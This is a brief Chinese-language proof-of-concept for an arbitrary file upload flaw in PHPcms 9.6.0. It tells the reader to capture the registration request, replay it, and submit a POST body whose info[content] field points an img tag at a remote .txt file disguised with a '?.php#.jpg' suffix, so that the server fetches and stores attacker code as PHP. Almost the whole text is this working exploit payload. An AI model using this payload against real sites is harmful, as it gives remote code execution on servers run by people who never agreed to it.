最新PHPcms9.6.0 任意文件上传漏洞

在用户注册处抓包：

然后发送到repeater

POC:

siteid=1&modelid=11&username=z1aaaac121&password=aasaewee311as&email=a1ea2144@qq.com&info[content]=<img src=http://www.tzjrst.com/templets/1.txt?.php#.jpg>&dosubmit=1&protocol=